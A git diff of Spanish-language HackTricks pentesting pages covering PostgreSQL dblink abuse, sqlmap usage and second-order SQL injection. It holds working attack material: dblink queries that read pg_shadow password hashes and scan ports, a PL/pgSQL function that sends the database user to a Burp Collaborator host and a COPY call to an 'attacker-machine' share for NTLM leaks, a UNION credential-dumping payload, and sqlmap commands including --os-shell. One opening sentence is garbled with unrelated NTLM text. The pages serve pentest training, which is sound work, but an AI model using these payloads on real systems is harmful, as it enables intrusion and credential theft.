* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,55 +1,72 @@
Desde **PostgreSQL 9.1**, la instalación de módulos adicionales es sencilla. Las extensiones registradas como `dblink` se pueden instalar con [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):. Las filtraciones de NTLM se pueden realizar utilizando herramientas como `Responder` o `NTLMRelayx`. Además, se puede utilizar `nmap` para escanear puertos y buscar vulnerabilidades de red.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Desde **PostgreSQL 9.1**, la instalación de módulos adicionales es sencilla. [Extensiones registradas como `dblink`](https://www.postgresql.org/docs/current/contrib.html) pueden ser instaladas con [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Una vez que tengas dblink cargado, podrías realizar algunos trucos interesantes:
Una vez que tengas dblink cargado, podrías ser capaz de realizar algunos trucos interesantes:
## Escalada de privilegios
## Escalación de Privilegios
El archivo `pg_hba.conf` podría estar mal configurado **permitiendo conexiones** desde **localhost como cualquier usuario** sin necesidad de conocer la contraseña. Este archivo se puede encontrar típicamente en `/etc/postgresql/12/main/pg_hba.conf` y una mala configuración se ve así:
El archivo `pg_hba.conf` podría estar mal configurado **permitiendo conexiones** desde **localhost como cualquier usuario** sin necesidad de conocer la contraseña. Este archivo típicamente se encuentra en `/etc/postgresql/12/main/pg_hba.conf` y una mala configuración se ve así:
```
local all all trust
```
_Nota que esta configuración se utiliza comúnmente para modificar la contraseña de un usuario de la base de datos cuando el administrador la olvida, por lo que a veces puedes encontrarla._\
_También ten en cuenta que el archivo pg\_hba.conf solo es legible por el usuario y grupo postgres y solo es escribible por el usuario postgres._
_Nótese que esta configuración se utiliza comúnmente para modificar la contraseña de un usuario de la base de datos cuando el administrador la olvida, por lo que a veces puede encontrarla._\
_También tenga en cuenta que el archivo pg\_hba.conf es legible solo por el usuario y grupo postgres y escribible solo por el usuario postgres._
Este caso es **útil si** ya tienes una **shell** dentro de la víctima, ya que te permitirá conectarte a la base de datos de postgresql.
Este caso es **útil si** **ya** tienes una **shell** dentro de la víctima, ya que te permitirá conectarte a la base de datos postgresql.
Otra posible mala configuración consiste en algo como esto:
```
host all all 127.0.0.1/32 trust
```
Ya que permitirá que cualquier persona desde el localhost se conecte a la base de datos como cualquier usuario.\
En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías tener acceso:
Como permitirá que cualquiera desde el localhost se conecte a la base de datos como cualquier usuario.\
En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
## Escaneo de puertos
**Encuentra** [**más información sobre este ataque en este documento**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.**
Aprovechando `dblink_connect`, también se puede **buscar puertos abiertos**. Si esa **función no funciona, se debe intentar usar `dblink_connect_u()`** ya que la documentación indica que _`dblink_connect_u()` es idéntico a `dblink_connect()`, excepto que permitirá a los usuarios no superusuarios conectarse utilizando cualquier método de autenticación_.
## Escaneo de Puertos
Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona deberías intentar usar `dblink_connect_u()`** ya que la documentación indica que _`dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permite a los no superusuarios conectarse utilizando cualquier método de autenticación_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
@ -63,7 +80,7 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Ten en cuenta que **antes** de poder usar `dblink_connect` o `dblink_connect_u` puede que necesites ejecutar:
Tenga en cuenta que **antes** de poder usar `dblink_connect` o `dblink_connect_u` puede que necesite ejecutar:
```
CREATE extension dblink;
```
@ -77,10 +94,10 @@ COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
```sql
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
@ -90,16 +107,14 @@ SELECT testfunc();
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,32 +1,30 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Mira los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Argumentos básicos para SQLmap
## Genéricos
## Genérico
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
@ -34,7 +32,7 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Obtener Información
## Recuperar Información
### Interna
```bash
@ -44,7 +42,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### Datos de la base de datos
### Datos de la DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -55,82 +53,22 @@
```
# Lugar de inyección
## Desde la captura de Burp/ZAP
## Desde captura de Burp/ZAP
Captura la petición y crea un archivo req.txt
Captura la solicitud y crea un archivo req.txt
```bash
sqlmap -r req.txt --current-user
```
## Inyección en peticiones GET
### Descripción
La inyección en peticiones GET es una técnica de ataque que aprovecha vulnerabilidades en las aplicaciones web que utilizan parámetros en la URL para realizar consultas a la base de datos. Esta técnica consiste en modificar los valores de los parámetros de la URL para ejecutar comandos maliciosos en la base de datos.
### Ejemplo
Supongamos que tenemos una aplicación web que utiliza una petición GET para buscar productos en una base de datos. La URL de la petición es la siguiente:
```
http://example.com/search.php?product=shoes
```
El parámetro `product` se utiliza para buscar productos en la base de datos. Si un atacante modifica el valor del parámetro `product` y lo convierte en una consulta SQL maliciosa, podría obtener información confidencial de la base de datos o incluso modificarla.
Por ejemplo, si el atacante modifica la URL de la siguiente manera:
```
http://example.com/search.php?product=' UNION SELECT username, password FROM users--
```
La consulta SQL resultante sería la siguiente:
```
SELECT * FROM products WHERE product_name='' UNION SELECT username, password FROM users--'
```
Esta consulta SQL devuelve los nombres de los productos y las credenciales de los usuarios almacenados en la base de datos.
### Prevención
Para prevenir la inyección en peticiones GET, es importante validar y sanitizar los parámetros de la URL antes de utilizarlos en consultas a la base de datos. También se recomienda utilizar consultas preparadas y evitar la concatenación de cadenas en las consultas SQL.
## Inyección en solicitud GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Inyección en solicitudes POST
---
### Descripción
La inyección en solicitudes POST es similar a la inyección en solicitudes GET, pero en lugar de enviar los parámetros en la URL, se envían en el cuerpo de la solicitud HTTP.
### Ejemplo
Supongamos que tenemos una solicitud POST que envía un formulario de inicio de sesión con los siguientes parámetros:
```
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=1234
```
Podemos usar SQLMap para inyectar código SQL en la solicitud POST de la siguiente manera:
```
sqlmap -u "http://example.com/login" --data "username=admin&password=1234" --method POST
```
### Protección
Para protegerse contra la inyección en solicitudes POST, se deben seguir las mismas prácticas recomendadas que para la inyección en solicitudes GET. Además, se debe validar y escapar correctamente cualquier entrada de usuario antes de enviarla en una solicitud POST.
## Inyección en Solicitudes POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Inyecciones en Cabeceras y otros Métodos HTTP
## Inyecciones en Encabezados y otros Métodos HTTP
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -161,32 +99,6 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Rastrear un sitio web con SQLmap y auto-explotar
SQLmap es una herramienta muy poderosa para la explotación de vulnerabilidades de inyección SQL en aplicaciones web. Una de las características más útiles de SQLmap es su capacidad para rastrear automáticamente un sitio web en busca de vulnerabilidades de inyección SQL y luego explotarlas automáticamente.
Para rastrear un sitio web con SQLmap, simplemente ejecute el siguiente comando:
```
sqlmap -u <URL> --crawl=1
```
Donde `<URL>` es la URL del sitio web que desea rastrear. El parámetro `--crawl=1` indica que SQLmap debe rastrear automáticamente el sitio web en busca de enlaces y formularios para probar.
Una vez que SQLmap ha terminado de rastrear el sitio web, puede usar el siguiente comando para explotar automáticamente cualquier vulnerabilidad de inyección SQL que haya encontrado:
```
sqlmap -u <URL> --batch --smart --level=5 --risk=3
```
Este comando utiliza los siguientes parámetros:
- `-u <URL>`: la URL del sitio web que desea explotar.
- `--batch`: indica que SQLmap debe ejecutarse en modo batch, lo que significa que no se le pedirá al usuario que confirme cada acción.
- `--smart`: indica que SQLmap debe utilizar técnicas de detección de vulnerabilidades más avanzadas.
- `--level=5`: indica que SQLmap debe utilizar el nivel de prueba más alto para encontrar vulnerabilidades.
- `--risk=3`: indica que SQLmap debe utilizar el nivel de riesgo más alto para encontrar vulnerabilidades.
Con estos comandos, SQLmap puede rastrear y explotar automáticamente vulnerabilidades de inyección SQL en un sitio web, lo que puede ahorrar mucho tiempo y esfuerzo en pruebas de penetración.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -216,34 +128,34 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
| Tamper | Descripción |
| :--- | :--- |
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8 |
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal |
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil |
| base64encode.py | Codifica en Base64 todos los caracteres en una carga útil dada |
| apostrophemask.py | Reemplaza el carácter apóstrofo con su equivalente en ancho completo UTF-8 |
| apostrophenullencode.py | Reemplaza el carácter apóstrofo con su contraparte ilegal de doble unicode |
| appendnullbyte.py | Añade el carácter de byte NULL codificado al final del payload |
| base64encode.py | Codifica en Base64 todos los caracteres en un payload dado |
| between.py | Reemplaza el operador mayor que \('&gt;'\) con 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter '=' con el operador LIKE |
| chardoubleencode.py | Codifica dos veces en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| bluecoat.py | Reemplaza el carácter de espacio después de una declaración SQL con un carácter en blanco aleatorio válido. Después reemplaza el carácter = con el operador LIKE |
| chardoubleencode.py | Doble codificación url de todos los caracteres en un payload dado \(sin procesar los ya codificados\) |
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
| commalessmid.py | Reemplaza instancias como 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Reemplaza instancias como 'CONCAT\(A, B\)' con 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| charunicodeencode.py | Codifica en URL Unicode los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "%u0022" |
| charunicodeescape.py | Codifica en URL Unicode los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "\u0022" |
| charencode.py | Codifica en url todos los caracteres en un payload dado \(sin procesar los ya codificados\) |
| charunicodeencode.py | Codifica en unicode-url los caracteres no codificados en un payload dado \(sin procesar los ya codificados\). "%u0022" |
| charunicodeescape.py | Codifica en unicode-url los caracteres no codificados en un payload dado \(sin procesar los ya codificados\). "\u0022" |
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual \('='\) con el operador 'LIKE' |
| escapequotes.py | Escapa las comillas \(' y "\) con una barra diagonal |
| greatest.py | Reemplaza el operador mayor que \('&gt;'\) con su contraparte GREATEST |
| halfversionedmorekeywords.py | Agrega un comentario versionado de MySQL antes de cada palabra clave |
| escapequotes.py | Escapa con barra invertida las comillas \(' y "\) |
| greatest.py | Reemplaza el operador mayor que \('&gt;'\) con su equivalente 'GREATEST' |
| halfversionedmorekeywords.py | Añade un comentario de versión de MySQL antes de cada palabra clave |
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Abraza la consulta completa con un comentario versionado |
| modsecurityzeroversioned.py | Abraza la consulta completa con un comentario de versión cero |
| multiplespaces.py | Agrega varios espacios alrededor de las palabras clave SQL |
| nonrecursivereplacement.py | Reemplaza las palabras clave SQL predefinidas con representaciones adecuadas para su reemplazo \(por ejemplo, .replace\("SELECT", ""\)\) filtros |
| percentage.py | Agrega un signo de porcentaje \('%'\) delante de cada carácter |
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave SQL |
| securesphere.py | Agrega una cadena especial elaborada |
| sp\_password.py | Agrega 'sp\_password' al final de la carga útil para la obfuscación automática de los registros de DBMS |
| modsecurityversioned.py | Encierra la consulta completa con un comentario de versión |
| modsecurityzeroversioned.py | Encierra la consulta completa con un comentario de versión cero |
| multiplespaces.py | Añade múltiples espacios alrededor de las palabras clave SQL |
| nonrecursivereplacement.py | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para reemplazo \(p.ej. .replace\("SELECT", ""\)\) filtros |
| percentage.py | Añade un signo de porcentaje \('%'\) delante de cada carácter |
| overlongutf8.py | Convierte todos los caracteres en un payload dado \(sin procesar los ya codificados\) |
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de mayúsculas/minúsculas aleatorio |
| randomcomments.py | Añade comentarios aleatorios a las palabras clave SQL |
| securesphere.py | Añade una cadena especialmente diseñada |
| sp\_password.py | Añade 'sp\_password' al final del payload para la ofuscación automática de los registros del DBMS |
| space2comment.py | Reemplaza el carácter de espacio \(' '\) con comentarios |
| space2dash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guión \('--'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
| space2hash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de almohadilla \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
@ -252,13 +164,29 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| space2mssqlhash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de almohadilla \('\#'\) seguido de una nueva línea \('\n'\) |
| space2mysqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| space2mysqldash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guión \('--'\) seguido de una nueva línea \('\n'\) |
| space2plus.py | Reemplaza el carácter de espacio \(' '\) con un signo más \('+'\)|
| space2plus.py | Reemplaza el carácter de espacio \(' '\) con un más \('+'\) |
| space2randomblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas \(&& y &#124;\|) |
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas \(&& y \| |
| unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT |
| unmagicquotes.py | Reemplaza el carácter de comilla \('\) con una combinación multibyte %bf%27 junto con un comentario genérico al final \(para que funcione\) |
| uppercase.py | Reemplaza cada carácter de palabra clave con un valor en mayúscula 'INSERT' |
| varnish.py | Agrega un encabezado HTTP 'X-originating-IP' |
| versionedkeywords.py | Encierra cada palabra clave no funcional con un comentario versionado de MySQL |
| versionedmorekeywords.py | Encierra cada palabra clave con un comentario versionado de MySQL |
| xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For' |
| unmagicquotes.py | Reemplaza el carácter de comillas \('\) con una combinación de multi-byte %bf%27 junto con un comentario genérico al final \(para que funcione\) |
| uppercase.py | Reemplaza cada carácter de palabra clave con un valor en mayúsculas 'INSERT' |
| varnish.py | Añade un encabezado HTTP 'X-originating-IP' |
| versionedkeywords.py | Encierra cada palabra clave no funcional con un comentario de versión de MySQL |
| versionedmorekeywords.py | Encierra cada palabra clave con un comentario de versión de MySQL |
| xforwardedfor.py | Añade un falso encabezado HTTP 'X-Forwarded-For' |
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,29 +1,27 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**SQLMap puede explotar Segundas Ordenes SQLi.**\
**SQLMap puede explotar SQLis de Segundo Orden.**\
Necesitas proporcionar:
* La **petición** donde se va a guardar el **payload de sqlinjection**
* La **petición** donde el **payload** será **ejecutado**
* La **solicitud** donde se guardará el **payload de sqlinjection**
* La **solicitud** donde se **ejecutará** el **payload**
La petición donde se guarda el payload de SQL injection se indica **como en cualquier otra inyección en sqlmap**. La petición **donde sqlmap puede leer la salida/ejecución** de la inyección se puede indicar con `--second-url` o con `--second-req` si necesitas indicar una petición completa desde un archivo.
La solicitud donde se guarda el payload de SQL injection se **indica como en cualquier otra inyección en sqlmap**. La solicitud **donde sqlmap puede leer la salida/ejecución** de la inyección se puede indicar con `--second-url` o con `--second-req` si necesitas indicar una solicitud completa desde un archivo.
**Ejemplo simple de segunda orden:**
**Ejemplo simple de segundo orden:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -31,9 +29,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
En varios casos esto no será suficiente porque necesitarás realizar otras acciones aparte de enviar el payload y acceder a una página diferente.
En varios casos **esto no será suficiente** porque necesitarás **realizar otras acciones** aparte de enviar el payload y acceder a una página diferente.
Cuando esto sea necesario, puedes usar un **tamper de sqlmap**. Por ejemplo, el siguiente script registrará un nuevo usuario **usando el payload de sqlmap como correo electrónico** y cerrará la sesión.
Cuando esto sea necesario, puedes usar un **tamper de sqlmap**. Por ejemplo, el siguiente script registrará un nuevo usuario **usando el payload de sqlmap como correo electrónico** y cerrará sesión.
```python
#!/usr/bin/env python
@ -43,32 +41,32 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
